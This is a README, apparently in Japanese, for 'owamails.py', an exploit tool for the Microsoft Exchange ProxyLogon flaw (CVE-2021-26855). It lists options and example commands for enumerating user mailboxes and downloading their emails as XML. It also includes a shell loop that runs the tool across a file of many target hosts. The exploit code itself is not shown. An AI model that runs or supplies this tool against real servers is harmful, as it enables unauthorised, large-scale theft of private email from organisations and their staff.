CVE-2021-26855-d

基本的な使い方: python owamails.py -u <url> -l <users.txt> -p <path>

オプション引数:

  -h, --help            show this help message and exit
  -u URL, --url URL     Url, provide schema and not final / (eg
                        https://example.org)
  -l LIST, --list LIST  Users mailbox list
  -p PATH, --path PATH  Path to write emails in xml format
  -f FQDN, --fqdn FQDN  FQDN
  -d DOMAIN, --domain DOMAIN
                        Domain to check mailboxes (eg if .local dont work)

メールボックスの確認とメールのダウンロード

基本:

python owamails.py -u https://127.0.0.1 -l users.txt -p downloads

ヘッダーからドメインを取得しない場合:

python owamails.py -u https://127.0.0.1 -l users.txt -p downloads -d mydomain.local

ヘッダーからFQDNを取得しない場合:

python owamails.py -u https://127.0.0.1 -l users.txt -p downloads -f EXCH01

大規模な場合?:

for i in $(cat targets.txt); do echo $i && python3 owamails.py -u https://$i -l users.txt -p emails; done;

参考文献:

• https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-work-with-exchange-mailbox-items-by-using-ews-in-exchange
• https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
• https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

フォーク元:
https://gitlab.com/gvillegas/ohwaa/